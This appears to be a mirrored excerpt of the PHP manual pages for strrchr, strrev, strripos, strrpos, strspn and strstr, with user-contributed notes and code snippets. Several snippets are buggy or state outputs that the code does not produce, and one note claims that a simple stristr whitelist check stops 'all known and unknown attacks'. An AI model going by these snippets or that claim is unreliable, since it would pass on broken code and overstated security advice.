               return strrpos($haystack, $needle) ? substr($haystack, 0, strrpos($haystack, $needle) +1 ) : false;
}
?>
dchris1 at bigpond dot net dot au
17-Feb-2004 11:16
The function provided by marcokonopacki at hotmail dot com isn't really a reverse-version of strrchr(), rather a reverse version of strchr(). It returns everything from the start of $haystack up to the FIRST instance of the $needle. This is basically a reverse of the behavior which you expect from strchr(). A reverse version of strrchr() would return everything in $haystack up to the LAST instance of $needle, eg:

<?php
// reverse strrchr() - PHP v4.0b3 and above
function reverse_strrchr($haystack, $needle)
{
   $pos = strrpos($haystack, $needle);
   if($pos === false) {
       return $haystack;
   }
   return substr($haystack, 0, $pos + 1);
}
?>

Note that this function will need to be modified slightly to work with pre 4.0b3 versions of PHP due to the return type of strrpos() ('0' is not necessarily 'false'). Check the documentation on strrpos() for more info.

A function like this can be useful for extracting the path to a script, for example:

<?
$string = "/path/to/the/file/filename.php";

echo reverse_strrchr($string, '/'); // will echo "/path/to/the/file/"
?>
andfarm at thibs dot menloschool dot org
24-May-2003 07:24
strrchr is also very useful for finding the extension of a file. For example:

$ext = strrchr($filename, ".");

and $ext will contain the extension of the file, including a ".", if the file has an extension, and FALSE if the file has no extension. If the file has multiple extensions, such as "evilfile.jpg.vbs", then this construction will just return the last extension.
marcokonopacki at hotmail dot com
15-Apr-2003 03:43
<?

// Reverse search of strrchr.
function strrrchr($haystack,$needle)
{

   // Returns everything before $needle (inclusive).
   return substr($haystack,0,strpos($haystack,$needle)+1);

}

$string = "FIELD NUMBER(9) NOT NULL";

echo strrrchr($string,")"); // Will print FIELD (9)

?>
juancri at tagnet dot org
17-Nov-2002 07:02
this functions returns the name of the current directory.
<?php
function currentd() {
   return substr(strrchr(`pwd`, '/'), 1);
}
?>
add a note add a note

后退 | 起点 | 前进
strpos | 上一级 | strrev


strrev

(PHP 3, PHP 4, PHP 5)

strrev -- Reverse a string

Description

string strrev ( string string )

Returns string, reversed.

例子 1. Reversing a string with strrev()

<?php
echo strrev("Hello world!"); // outputs "!dlrow olleH"
?>

add a note add a note User Contributed Notes
carmel.alex at gmail.com
28-Feb-2006 04:54
This function support utf-8 encoding

function utf8_strrev($str){
   preg_match_all('/./us', $str, $ar);
   return join('',array_reverse($ar[0]));
}
tex at i18nguy dot com
23-Aug-2005 12:36
Just a correction to the previous commenter. In ISO 8859-15, the Euro is 0xA4 (164 decimal). It is a 1 byte character.
MagicalTux at FF dot st
12-May-2005 09:20
I will make Screend at hf dot webex dot com's comment more clear and understandable.

strrev only works for singlebyte character-sets. Multibytes charactersets are not compatibles with strrev.

US-ASCII and ISO-8859-1 are compatible with strrev, however BIG5, SJIS, UTF-8 aren't.

Despite what you can think, ISO-8859-15 *is* multibyte (the euro symbol -  - is coded on two bytes).

There's no mb_strrev function in PHP, so you can't strrev() a multibyte string. Try to convert it to something else with iconv() if it can be represented in a singlebyte character set.
avarab at gmail dot com
07-May-2005 03:53
strrev() can be very useful in cases where it makes more sense to do something from the end of a string rather than the beginning (well duh!) such as apply certain regular expressions. Here's a small function to add commas to numbers that works in such a way.

<?php
echo commafy("1500000.1254"); // prints 1,500,000.1254

function commafy($_) {
       return strrev( (string)preg_replace( '/(\d{3})(?=\d)(?!\d*\.)/', '$1,' , strrev( $_ ) ) );
}
?>

I originally wrote it in Perl, does it show? ;=)
Screend at hf dot webex dot com
31-Mar-2004 12:17
this function can only reverse the 1-byte words,like english,it seems,using
<?php
$str=strrev("");
echo $str;
?>
do not get a right result.
but,you can change 2-bytes characters into a ASCLL,the converse it.
add a note add a note

后退 | 起点 | 前进
strrchr | 上一级 | strripos


strripos

(PHP 5)

strripos -- Find position of last occurrence of a case-insensitive string in a string

Description

int strripos ( string haystack, string needle [, int offset] )

Returns the numeric position of the last occurrence of needle in the haystack string. Unlike strrpos(), strripos() is case-insensitive. Also note that string positions start at 0, and not 1.

Note that the needle may be a string of one or more characters.

If needle is not found, FALSE is returned.

警告

本函数可能返回布尔值 FALSE，但也可能返回一个与 FALSE 等值的非布尔值，例如 0 或者 ""。请参阅布尔类型章节以获取更多信息。应使用 === 运算符来测试本函数的返回值。

例子 1. A simple strripos() example

<?php
$haystack = 'ababcd';
$needle   = 'aB';

$pos      = strripos($haystack, $needle);

if ($pos === false) {
    echo "Sorry, we did not find ($needle) in ($haystack)";
} else {
    echo "Congratulations!\n";
    echo "We found the last ($needle) in ($haystack) at position ($pos)";
}
?>

Outputs:

Congratulations!
   We found the last (aB) in (ababcd) at position (2)

The offset parameter may be specified to begin searching an arbitrary number of characters into the string.

Negative offset values will start the search at offset characters from the start of the string.

See also strrpos(),
strrchr(),
substr(), stripos() and
stristr().

add a note add a note User Contributed Notes
aidan at php dot net
31-May-2004 01:36
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
add a note add a note

后退 | 起点 | 前进
strrev | 上一级 | strrpos


strrpos

(PHP 3, PHP 4, PHP 5)

strrpos -- Find position of last occurrence of a char in a string

Description

int strrpos ( string haystack, string needle [, int offset] )

Returns the numeric position of the last occurrence of needle in the haystack string. Note that the needle in this case can only be a single character in PHP 4. If a string is passed as the needle, then only the first character of that string will be used.

If needle is not found, returns FALSE.

It is easy to mistake the return values for "character found at position 0" and "character not found". Here's how to detect the difference:

<?php

// in PHP 4.0b3 and newer:
$pos = strrpos($mystring, "b");
if ($pos === false) { // note: three equal signs
    // not found...
}

// in versions older than 4.0b3:
$pos = strrpos($mystring, "b");
if (is_bool($pos) && !$pos) {
    // not found...
}
?>

If needle is not a string, it is converted to an integer and applied as the ordinal value of a character.

注: As of PHP 5.0.0 offset may be specified to begin searching an arbitrary number of characters into the string. Negative values will stop searching at an arbitrary point prior to the end of the string.

注: The needle may be a string of more than one character as of PHP 5.0.0.

See also strpos(),
strripos(),
strrchr(),
substr(),
stristr(), and
strstr().

add a note add a note User Contributed Notes
kavih7 at yahoo dot com
09-Jun-2006 03:53
###################################################
#
# DESCRIPTION:
# This function returns the last occurance of a string,
# rather than the last occurance of a single character like
# strrpos does. It also supports an offset from where to
# start the searching in the haystack string.
#
# ARGS:
# $haystack (required) -- the string to search upon
# $needle (required) -- the string you are looking for
# $offset (optional) -- the offset to start from
#
# RETURN VALS:
# returns integer on success
# returns false on failure to find the string at all
#
###################################################

function strrpos_string($haystack, $needle, $offset = 0)
{
   if(trim($haystack) != "" && trim($needle) != "" && $offset <= strlen($haystack))
   {
       $last_pos = $offset;
       $found = false;
       while(($curr_pos = strpos($haystack, $needle, $last_pos)) !== false)
       {
           $found = true;
           $last_pos = $curr_pos + 1;
       }
       if($found)
       {
           return $last_pos - 1;
       }
       else
       {
           return false;
       }
   }
   else
   {
       return false;
   }
}
shimon at schoolportal dot co dot il
04-May-2006 02:31
In strrstr function in php 4 there is also no offset.
<?
// by Shimon Doodkin
function chrrpos($haystack, $needle, $offset=false)
{
 $needle=$needle[0];
 $l=strlen($haystack);
 if($l==0)  return false;
 if($offset===false)  $offset=$l-1;
 else
 {
  if($offset>$l) $offset=$l-1;
  if($offset<0) return false;
 }
 for(;$offset>0;$offset--)
  if($haystack[$offset]==$needle)
   return $offset;
 return false;
}
?>
clan_ghw2 at hotmail dot com
03-Feb-2006 03:28
Brian below is incorrect about strrpos on different platforms.

Tested on Home PC (win32 + PHP 5.1.2) and Web Server (linux + 4.4.1)

echo strrpos("blah.blahannila","blaha");
returns 5 on windows
returns 5 on linux

Could've been a bug with an earlier PHP version, however the latest version of PHP returns position of the beginning of the string we're trying to find.

-Thaddeus
nh_handyman
22-Sep-2005 06:59
As noted in some examples below, strrpos does not act the same on every platform!

On Linux, it returns the position of the end of the target
On Windows, it returns the position of the start of the target

strrpos ("c:/somecity/html/t.php")

returns 11 on Windows
returns 16 on Linux

Brian
gordon at kanazawa-gu dot ac dot jp
14-Sep-2005 12:56
The "find-last-occurrence-of-a-string" functions suggested here do not allow for a starting offset, so here's one, tried and tested, that does:

function my_strrpos($haystack, $needle, $offset=0) {
   // same as strrpos, except $needle can be a string
   $strrpos = false;
   if (is_string($haystack) && is_string($needle) && is_numeric($offset)) {
       $strlen = strlen($haystack);
       $strpos = strpos(strrev(substr($haystack, $offset)), strrev($needle));
       if (is_numeric($strpos)) {
           $strrpos = $strlen - $strpos - strlen($needle);
       }
   }
   return $strrpos;
}
genetically altered mastermind at gmail
23-Aug-2005 01:30
Very handy to get a file extension:
$this->data['extension'] = substr($this->data['name'],strrpos($this->data['name'],'.')+1);
fab
10-Aug-2005 07:07
RE: hao2lian

There are a lot of alternative - and unfortunately buggy - implementations of strrpos() (or last_index_of as it was called) on this page. This one is a slight modifiaction of the one below, but it should world like a *real* strrpos(), because it returns false if there is no needle in the haystack.

<?php

function my_strrpos($haystack, $needle) {
   $index = strpos(strrev($haystack), strrev($needle));
   if($index === false) {
       return false;
   }
   $index = strlen($haystack) - strlen($needle) - $index;
   return $index;
}

?>
lwoods
07-Aug-2005 03:03
If you are a VBScript programmer ("ex-" of course), you will find that 'strrpos' doesn't work like the VBScript 'instrRev' function.

Here is the equivalent function:

VBScript:

k=instrrev(s,">",j);

PHP Equivalent of the above VBScript:

$k=strrpos(substr($s,0,$j),'>');

Comments:

You might think (I did!) that the following PHP function call would be the equivant of the above VBScript call:

$kk=strrpos($s,'>',$j);

NOPE!  In the above PHP call, $j defines the position in the string that should be considered the BEGINNING of the string, whereas in the VBScript call, j is to be considered the END of the string, as far as this search is concerned.  Anyway, the above 'strrpos' with the 'substr' will work.
(Probably faster to write a for loop!)
hao2lian
03-Aug-2005 10:50
Yet another correction on the last_index_of function algorithm:

function last_index_of($haystack, $needle) {
   $index = strpos(strrev($haystack), strrev($needle));
   $index = strlen($haystack) - strlen($needle) - $index;
   return $index;
}

"strlen(index)" in the most recent one should be "strlen($needle)".
jonas at jonasbjork dot net
06-Apr-2005 04:25
I needed to remove last directory from an path, and came up with this solution:

<?php

  $path_dir = "/my/sweet/home/";
  $path_up = substr( $path_dir, 0, strrpos( $path_dir, '/', -2 ) )."/";
  echo $path_up;

?>

Might be helpful for someone..
09-Mar-2005 03:14
In the below example, it should be substr, not strrpos.

<PHP?

$filename = substr($url, strrpos($url, '/') + 1);

?>
escii at hotmail dot com ( Brendan )
11-Jan-2005 11:12
I was immediatley pissed when i found the behaviour of strrpos ( shouldnt it be called charrpos ?) the way it is, so i made my own implement to search for strings.

<?
function proper_strrpos($haystack,$needle){
       while($ret = strrpos($haystack,$needle))
       {
               if(strncmp(substr($haystack,$ret,strlen($needle)),
                               $needle,strlen($needle)) == 0 )
                       return $ret;
               $haystack = substr($haystack,0,$ret -1 );
       }
       return $ret;
}
?>
griffioen at justdesign dot nl
18-Nov-2004 02:57
If you wish to look for the last occurrence of a STRING in a string (instead of a single character) and don't have mb_strrpos working, try this:

   function lastIndexOf($haystack, $needle) {
       $index        = strpos(strrev($haystack), strrev($needle));
       $index        = strlen($haystack) - strlen(index) - $index;
       return $index;
   }
nexman at playoutloud dot net
08-Oct-2004 12:22
Function like the 5.0 version of strrpos for 4.x.
This will return the *last* occurence of a string within a string.

   function strepos($haystack, $needle, $offset=0) {
       $pos_rule = ($offset<0)?strlen($haystack)+($offset-1):$offset;
       $last_pos = false; $first_run = true;
       do {
           $pos=strpos($haystack, $needle, (intval($last_pos)+(($first_run)?0:strlen($needle))));
           if ($pos!==false && (($offset<0 && $pos <= $pos_rule)||$offset >= 0)) {
               $last_pos = $pos;
           } else { break; }
           $first_run = false;
       } while ($pos !== false);
       if ($offset>0 && $last_pos<$pos_rule) { $last_pos = false; }
       return $last_pos;
   }

If my math is off, please feel free to correct.
  - A positive offset will be the minimum character index position of the first character allowed.
  - A negative offset will be subtracted from the total length and the position directly before will be the maximum index of the first character being searched.

returns the character index ( 0+ ) of the last occurence of the needle.

* boolean FALSE will return no matches within the haystack, or outside boundries specified by the offset.
harlequin AT gmx DOT de
27-May-2004 12:59
this is my function for finding a filename in a URL:

<?php
   function getfname($url){
       $pos = strrpos($url, "/");
       if ($pos === false) {
           // not found / no filename in url...
           return false;
       } else {
           // Get the string length
           $len = strlen($url);
           if ($len < $pos){
                       print "$len / $pos";
               // the last slash we found belongs to http:// or it is the trailing slash of a URL
               return false;
           } else {
               $filename = substr($url, $pos+1, $len-$pos-1);
           }
       }
       return $filename;
   }
?>
tsa at medicine dot wisc dot edu
25-May-2004 08:17
What the heck, I thought I'd throw another function in the mix.  It's not pretty but the following function counts backwards from your starting point and tells you the last occurrance of a mixed char string:

<?php
function strrposmixed ($haystack, $needle, $start=0) {
   // init start as the end of the str if not set
   if($start == 0) {
       $start = strlen($haystack);
   }

   // searches backward from $start
   $currentStrPos=$start;
   $lastFoundPos=false;

   while($currentStrPos != 0) {
       if(!(strpos($haystack,$needle,$currentStrPos) === false)) {
           $lastFoundPos=strpos($haystack,$needle,$currentStrPos);
           break;
       }
       $currentStrPos--;
   }

   if($lastFoundPos === false) {
       return false;
   } else {
       return $lastFoundPos;
   }
}
?>
dreamclub2000 at hotmail dot com
05-Feb-2004 04:17
This function does what strrpos would if it handled multi-character strings:

<?php
function getLastStr($hay, $need){
  $getLastStr = 0;
  $pos = strpos($hay, $need);
  if (is_int ($pos)){ //this is to decide whether it is "false" or "0"
   while($pos) {
     $getLastStr = $getLastStr + $pos + strlen($need);
     $hay = substr ($hay , $pos + strlen($need));
     $pos = strpos($hay, $need);
   }
   return $getLastStr - strlen($need);
  } else {
   return -1; //if $need wasnt found it returns "-1" , because it could return "0" if its found on position "0".
  }
}
?>
cagret at yahoo dot com
17-Dec-2003 01:12
This functions could be helpful:

<?php
/**
* @access public
* @package String
* @static
*/
class String {

   /**
   * Replace only the first occurence of the search string with the replacement string
   * @param string $string
   * @param string $search
   * @param string $replace
   * @return string
   * @access public
   */
   function replaceFirst($string, $search, $replace) {
       $pos = strpos($string, $search);
       if (is_int($pos)) {
           $len = strlen($search);
           return substr_replace($string, $replace, $pos, $len);
       }
       return $string;
   }

   /**
   * Replace only the last occurence of the search string with the replacement string
   * @param string $string
   * @param string $search
   * @param string $replace
   * @return string
   * @access public
   */
   function replaceLast($string, $search, $replace) {

       $pos = false;

       if (is_int(strpos($string, $search))) {
           $endPos = strlen($string);
           while ($endPos > 0) {
               $endPos = $endPos - 1;
               $pos = strpos($string, $search, $endPos);
               if (is_int($pos)) {
                   break;
               }
           }
       }

       if (is_int($pos)) {
           $len = strlen($search);
           return substr_replace($string, $replace, $pos, $len);
       }

       return $string;
   }
}
?>
ZaraWebFX
15-Oct-2003 02:06
this could be, what derek mentioned:

<?
function cut_last_occurence($string,$cut_off) {
   return strrev(substr(strstr(strrev($string), strrev($cut_off)),strlen($cut_off)));
}

//    example: cut off the last occurence of "limit"
   $str = "select delta_limit1, delta_limit2, delta_limit3 from table limit 1,7";
   $search = " limit";
   echo $str."\n";
   echo cut_last_occurence($str,"limit");
?>
lee at 5ss dot net
29-Aug-2003 10:21
I should have looked here first, but instead I wrote my own version of strrpos that supports searching for entire strings, rather than individual characters.  This is a recursive function.  I have not tested to see if it is more or less efficient than the others on the page.  I hope this helps someone!

<?php
//Find last occurance of needle in haystack
function str_rpos($haystack, $needle, $start = 0){
   $tempPos = strpos($haystack, $needle, $start);
   if($tempPos === false){
       if($start == 0){
           //Needle not in string at all
           return false;
       }else{
           //No more occurances found
           return $start - strlen($needle);
       }
   }else{
       //Find the next occurance
       return str_rpos($haystack, $needle, $tempPos + strlen($needle));
   }
}
?>
ara at bluemedia dot us
14-Jul-2003 04:09
derek@slashview.com notes a great replacement for strrpos because of the single character needle limitation in the strrpos function. He made a slight error in the code. He adds the length of the needle string instead of subtracting it from the final position. The function should be:

<?php
function strlastpos($haystack, $needle) {
# flip both strings around and search, then adjust position based on string lengths
return strlen($haystack) - strlen($needle) - strpos(strrev($haystack), strrev($needle));
}
?>
no_spammage_at_wwwcrm_dot_com
24-Apr-2003 11:07
This function does what strrpos would if it handled multi-character strings:

<?php
//function recurses until it finds last instance of $needle in $haystack

function getLastStr($haystack, $needle, $first_time=1){

                 $test=strstr($haystack, $needle);//is the needle there?
                 if ($test) return getLastStr($test, $needle, 0);//see if there is another one?
                 else if ($first_time) return false;//there is no occurence at all
                 else return $haystack;//that was the last occurence

               }
?>
FIE
15-Feb-2003 09:03
refering to the comment and function about lastIndexOf()...
It seemed not to work for me the only reason I could find was the haystack was reversed and the string wasnt therefore it returnt the length of the haystack rather than the position of the last needle... i rewrote it as fallows:

<?php
function strlpos($f_haystack,$f_needle) {
     $rev_str = strrev($f_needle);
     $rev_hay = strrev($f_haystack);
     $hay_len = strlen($f_haystack);
     $ned_pos = strpos($rev_hay,$rev_str);
     $result  = $hay_len - $ned_pos - strlen($rev_str);
     return $result;
}
?>

this one fallows the strpos syntax rather than java's lastIndexOf.
I'm not positive if it takes more resources assigning all of those variables in there but you can put it all in return if you want, i dont care if i crash my server ;).

~SILENT WIND OF DOOM WOOSH!
rob at pulpchat dot com
23-Jan-2003 06:23
For those of you coming from VBScript, I have
converted the instrrev function to PHP:

<?php
function instrrev($n,$s) {
  $x=strpos(chr(0).strrev($n),$s)+0;
  return (($x==0) ? 0 : strlen($n)-$x+1);
}
?>

Remember that, unlike PHP and Javascript, VBScript
returns 0 for no string found and 1 for the first
character position, etc.

Hopefully this will save some time if you are
converting ASP pages to PHP.
php dot net at insite-out dot com
18-Dec-2002 03:47
I was looking for the equivalent of Java's lastIndexOf(). I couldn't find it so I wrote this:

<?php
/*
Method to return the last occurrence of a substring within a
string
*/
function last_index_of($sub_str,$instr) {
   if(strstr($instr,$sub_str)!="") {
       return(strlen($instr)-strpos(strrev($instr),$sub_str));
   }
   return(-1);
}
?>

It returns the numerical index of the substring you're searching for, or -1 if the substring doesn't exist within the string.
su.noseelg@naes, only backwards
14-Dec-2002 02:39
Maybe I'm the only one who's bothered by it, but it really bugs me when the last line in a paragraph is a single word. Here's an example to explain what I don't like:

The quick brown fox jumps over the lazy
dog.

So that's why I wrote this function. In any paragraph that contains more than 1 space (i.e., more than two words), it will replace the last space with '&nbsp;'.

<?php
function no_orphans($TheParagraph) {
   if (substr_count($TheParagraph," ") > 1) {
   $lastspace = strrpos($TheParagraph," ");
   $TheParagraph = substr_replace($TheParagraph,"&nbsp;",$lastspace,1);
   }
return $TheParagraph;
}
?>

So, it would change "The quick brown fox jumps over the lazy dog." to "The quick brown fox jumps over the lazy&nbsp;dog." That way, the last two words will always stay together.
DONT SPAM vardges at iqnest dot com
31-Oct-2002 05:22
that function can be modified to this

<?php
function strrpos_str ($string, $searchFor, $startFrom = 0)
{
   $addLen = strlen ($searchFor);
   $endPos = $startFrom - $addLen;

   while (true)
   {
       if (($newPos = strpos ($string, $searchFor, $endPos + $addLen)) === false) break;
       $endPos = $newPos;
   }

   return ($endPos >= 0) ? $endPos : false;
}

// example
$str = "abcabcabc";
$search = "ab";

$pos = strrpos_str ($str, $search);
if ($pos === false) echo "not found";
else echo $pos; // returns 6 in this case
?>
29-May-2002 03:46
Cause:
Find position of last occurrence of a string in a string...
and I needed it, I hacked a little code to do this:

Maybe it is helpful for you.

<?php
 function _strrpos_needle($sourcestring,$needle){

   /* just for easier understanding */
   $tempString=$sourcestring;

   do {
     $tempPos=strpos($tempString,$needle);
     $tempString=substr($tempString,$tempPos+strlen($needle));
     $realPos=$realPos+$tempPos;
   } while (!is_bool($tempPos));

   return $realPos;

  }
?>
derek at slashview dot com
02-Feb-2002 08:06
To find the position of the start of the last occurence of a string, we can do this:
$pos=strlen($haystack) - (strpos(strrev($haystack), strrev($needle)) + strlen($needle));
The idea is to reverse both $needle and $haystack, use strpos to find the first occurence of $needle in $haystack, then count backwards by the length of $needle. Finally, subtract $pos from length of $haystack. A lot easier to figure out if you use a test string to visualize it.  :)
add a note add a note

后退 | 起点 | 前进
strripos | 上一级 | strspn


strspn

(PHP 3 >= 3.0.3, PHP 4, PHP 5)

strspn -- Find length of initial segment matching mask

Description

int strspn ( string str1, string str2 [, int start [, int length]] )

Returns the length of the initial segment of str1 which consists entirely of characters in str2.

The line of code:

<?php
$var = strspn("42 is the answer, what is the question ...", "1234567890");
?>

will assign 2 to $var, because the string "42" will be the longest segment containing characters from "1234567890".

As of PHP 4.3.0, strspn() accepts two optional integer parameters that can be used to define the start position and the length of the string to examine.

<?php
echo strspn("foo", "o", 1, 2); // 2
?>

注: 本函数可安全用于二进制对象。

See also strcspn().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
strrpos | 上一级 | strstr


strstr

(PHP 3, PHP 4, PHP 5)

strstr -- Find first occurrence of a string

Description

string strstr ( string haystack, string needle )

Returns part of haystack string from the first occurrence of needle to the end of haystack.

If needle is not found, returns FALSE.

If needle is not a string, it is converted to an integer and applied as the ordinal value of a character.

注: This function is case-sensitive. For case-insensitive searches, use stristr().

例子 1. strstr() example

<?php
$email = 'user@example.com';
$domain = strstr($email, '@');
echo $domain; // prints @example.com
?>

注: If you only want to determine if a particular needle occurs within haystack, use the faster and less memory intensive function strpos() instead.

strstr() has been binary safe since PHP 4.3.0

See also ereg(), preg_match(),
stristr(), strpos(),
strrchr(), and substr().

add a note add a note User Contributed Notes
repley at freemail dot it
22-May-2006 12:55
To explode around first occurrence of a character in a string (inclusive or NOT inclusive), using strstr and strstr_reverse.

<?
//strxstr(string haystack, string needle [, bool int leftinclusive [, bool int rightinclusive ]])
function strxstr($haystack, $needle, $l_inclusive = 0, $r_inclusive = 0){
   if(strrpos($haystack, $needle)){
       //Everything before first $needle in $haystack.
       $left =  substr($haystack, 0, strpos($haystack, $needle) + $l_inclusive);

       //Switch value of $r_inclusive from 0 to 1 and viceversa.
       $r_inclusive = ($r_inclusive == 0) ? 1 : 0;

       //Everything after first $needle in $haystack.
       $right =  substr(strstr($haystack, $needle), $r_inclusive);

       //Return $left and $right into an array.
       $a = array($left, $right);
       return $a;
   }else{
       return false;
   }
}

//start test
$haystack = "http://www....unknown....com.biz......";
$needle = ".";
$l_inclusive = 1; //1 for inclusive mode, 0 for NOT inclusive mode
$r_inclusive = 1; //1 for inclusive mode, 0 for NOT inclusive mode

$a = strxstr($haystack, $needle, $l_inclusive, $r_inclusive);
if($a){echo "Left: <strong>" . $a[0] . "</strong><br />Right: <strong>" . $a[1] . "</strong>";}else{echo "Failed!";}
//end test
?>

To explode around last occurrence of a character in a string, for example to get filename and extension separately into an array, use strxchr(): http://www.php.net/manual/en/function.strrchr.php
onuryerlikaya at hotmail dot com
25-Jan-2006 04:00
<?php
$piece    = 6;
$data    = 'djhfoldafg9d7yfr3nhlrfkhasdfgd';
$piece1    = substr($data,0,$piece);
$piece2    = strstr($data,substr($data,$piece,$piece));
echo '$piece1 :'.$piece1; // $piece1 :djhfol
echo "<br>";
echo '$piece2 :'.$piece2; // piece2 :dafg9d7yfr3nhlrfkhasdfgd
?>

You can piece your string which given at $piece variable.
always_sleepz0r at removethisyahoo dot co dot uk
15-Jan-2006 03:38
//this is my little version

function rdir($d_d, $filter = null) {
   $d = dir($d_d);while(false !== ($entry = $d->read())) {
     if ($entry!=".." && $entry!="." && $filter==null || true==stristr($entry, $filter)){ if (!is_dir($entry)) {
     $ret_arr['f'][]=$entry;}else{$ret_arr['d'][]=$entry;
   }}}$d->close();return $ret_arr;}

//usage:
$d="folder";

$dd=rdir($d);
//will return array with all files and folder names

$dd=rdir($d, "requiredneedle");
//will return array with only file/folder names containing "requiredneedle".

//$dd['f'] = files and $dd['d'] = folders
echo "<pre>";print_r($dd);echo "</pre>";
nospam AT thenerdshow.com
16-Nov-2005 08:20
It is a good practice to ensure dropdown menu submissions contain ONLY expected values:

$i=(isset($_POST['D1']))?$_POST['D1']:$o="Monday";
if (!stristr('Monday Tuesday Wednesday Thursday Friday Saturday Sunday',$i)) die();
(do database query)

This should protect against all known and unknown attacks, injection, etc.

User submitted should be cleaned through other functions.  See info under mysql_query
07-Jun-2005 12:13
suggestion for [leo dot nard at free dot fr]:
to be able to cut the string without having the html entities being cut in half, use this instead:

<?php

$oldstr = "F&ouml;r att klippa av en str&auml;ng som inneh&aring;ller skandinaviska (eller Franska, f&ouml;r den delen) tecken, kan man g&ouml;ra s&aring;h&auml;r...";

$length = 50;

# First, first we want to decode the entities (to get them as usual chars), then cut the string at for example 50 chars, and then encoding the result of that again.

# Or, as I had it done, in one line:
$newstr = htmlentities(substr(html_entity_decode($oldstr), 0, $length));
$newstr2 = substr($oldstr, 0, $length);
# It's not quite as much code as the snippet you've coded to remove the half-portions... ;)
# Hopefully somebody finds this useful!
echo "Without the decode-encode snippet:
$newstr2

With the decode-encode snippet:
$newstr";
?>

The above outputs this:

Without the decode-encode snippet:
F&ouml;r att klippa av en str&auml;ng som inneh&ar

With the decode-encode snippet:
F&ouml;r att klippa av en str&auml;ng som inneh&aring;ller skandin

First post in this db ;)
Best regards, Mikael Rnn, FIN
leo dot nard at free dot fr
24-May-2005 05:12
When encoding ASCII strings to HTML size-limited strings, sometimes some HTML special chars were cut.

For example, when encoding "" to a string of size 10, you would get: "&agrave;&a" => the second character is cut.

This function will remove any unterminated HTML special characters from the string...

function cut_html($string)
{
   $a=$string;

   while ($a = strstr($a, '&'))
   {
       echo "'".$a."'\n";
       $b=strstr($a, ';');
       if (!$b)
       {
           echo "couper...\n";
           $nb=strlen($a);
           return substr($string, 0, strlen($string)-$nb);
       }
       $a=substr($a,1,strlen($a)-1);
   }
   return $string;
}
rodrigo at fabricadeideias dot com
23-Apr-2005 03:55
A better solution for nicolas at bougues dot net's problem below is to use

<?
strstr ("0", "0") === FALSE
?>

instead of

<?
strstr ("0", "0") == FALSE
?>

or

<?
is_string (strstr ("0", "0"))
?>
robbie [at] averill [dot] co [dot] nz
19-Mar-2005 09:07
With regard to the below comment

<?php
$filename = "funnypicture.jpg";
$type = str_replace('.','',strstr($filename, '.'));
echo $type; // jpg
?>

This gets the file extension into the variable $type, not the file type.

To get the file type, use filetype(), or to get the MIME content type, use mime_content_type().

<?php
$filename = "funnypicture.jpg";
$ext = str_replace('.','',strstr($filename, '.'));
$type = filetype($filename);
$mime = mime_content_type($filename);
echo $ext;    // jpg
echo $type;  // file
echo $mime; //  image/jpeg
?>
redzia
08-Feb-2005 11:54
Example usage of fopen to remove line containing a key string
<?

$key = "w3ty8l";

//load file into $fc array

$fc=file("some.txt");

//open same file and use "w" to clear file

$f=fopen("some.txt","w");

//loop through array using foreach

foreach($fc as $line)
{
     if (!strstr($line,$key)) //look for $key in each line
           fputs($f,$line); //place $line back in file
}
fclose($f);

?>
steve at alittlefinesse dot com
04-Sep-2004 11:55
// I needed to find the content between 2 chrs in a string and this was the quickest method I could find.

function SeekVal($str_in) {

$tween="";  // not needed but good practise when appending
$chr1='[';
$chr2=']';

for ($i=strpos($str_in, $chr1);$i<strpos($str_in, $chr2);$i++)
  $tween=$tween+$str_in[$i];

return $tween;
}
Ami Hughes (ami at mistress dot name)
23-Apr-2004 12:02
Because I was working with two different sets of variables and wanted to combine the result into a decimal format, I needed to strip the zero before the decimal.  As an added bonus, this will strip anything before a decimal (or period), which might be useful for other things.  So, if you are trying to combine apples and oranges like I was, or whatever, try this.  =)

<?php
$number = '0.529';
strstr($number,'.');
echo $number; // returns .529
?>
schultz at widescreen dot ch
01-Apr-2004 06:22
a nice way to decide wether a string starts with a certain prefix, one can use this condition...

$url = 'http://www.widescreen.ch';
$isUrl = ( strstr($url,'http://') == $url );

have  fun!
Lars
giunta dot gaetano at sea-aeroportimilano dot it
23-Feb-2004 10:16
Note to Rolf's post: if the needle is NOT found, the function proposed will truncate the last char of the string!
Romuald Brunet
22-Jan-2004 04:25
Regarding the note of the manual concerning the speed of strstr against strpos, for people who wants to check a needle occurs within haystack, it apprears that strstr() is in facts faster than strpos().

Example:
<?php
// [VERY] Quick email check:
if ( strstr("email@domain.tld", "@") ) {
// Ok
}
?>

is faster than

<?php
if ( strpos("email@domain.tld", "@") !== FALSE ) {
// Ok
}

Without using the true equality with !==, strpos() is faster. But then if the haystack starts with needle the condition whould not be met.
teezee
14-Mar-2003 07:08
//Checking and using the above string can be done much easier:

$data="ID: 1, Rolf Winterscheidt, and so on";
$data_array = explode(",",$data);

//will return an array:
 $data[0] = ID: 1
 $data[1] =  Rolf Winterscheidt
 $data[2] =  and so on
rolf dot winterscheidt at rowitech dot de
07-Mar-2003 08:02
Get the first part of the string can be so easy:

$data="ID: 1, Rolf Winterscheidt, and so on";
$id=substr($data, 0 , strpos($data, ",")-1);
-> $id is now "ID: 1"

Best regards,
Rolf
crypto at notup2u dot net
02-Mar-2003 09:44
I've noticed that :

$string = substr($string, 0, strpos($string,$separat));

returns the first par of the string (before $separat) only if there is $separat in the string !

But

$string = substr($string, 0, strlen($string)-strlen (strstr ($string,$separat)));

works anyway ...

That can be useful !

/Crypto
php at silisoftware dot com
15-Feb-2003 07:37
PHP versions before 4.3.0 (tested on 4.2.2 and 4.2.3) return the $haystack from $needle only up to the first null character. So for example:

$string = strstr("one#two\x00three", "#");
// PHP 4.2.x:  $string contains "#two"
// PHP 4.3.0:  $string contains "#two\x00three"

If you're trying to match nulls, you will probably get back an empty string:

$string = strstr("one#two\x00three", "\x00");
// PHP 4.2.x:  $string contains ""
// PHP 4.3.0:  $string contains "\x00three"
joaobett at oninet dot pt
23-Jan-2003 12:07
[Editor's Note: It's better to:

  substr($stringA, 0, strpos($stringA, $toFind)+1)

than to reverse the string twice (slow).]

//If you want to get the text before the occurence of the character
//you want to find, simply use the function strRev twice:

$stringA = "user@example.com";    $toFind = "@";

echo strrev( strchr(strrev($stringA),$toFind) );

//output: user@
mario at comicide dot com
30-Dec-2002 02:58
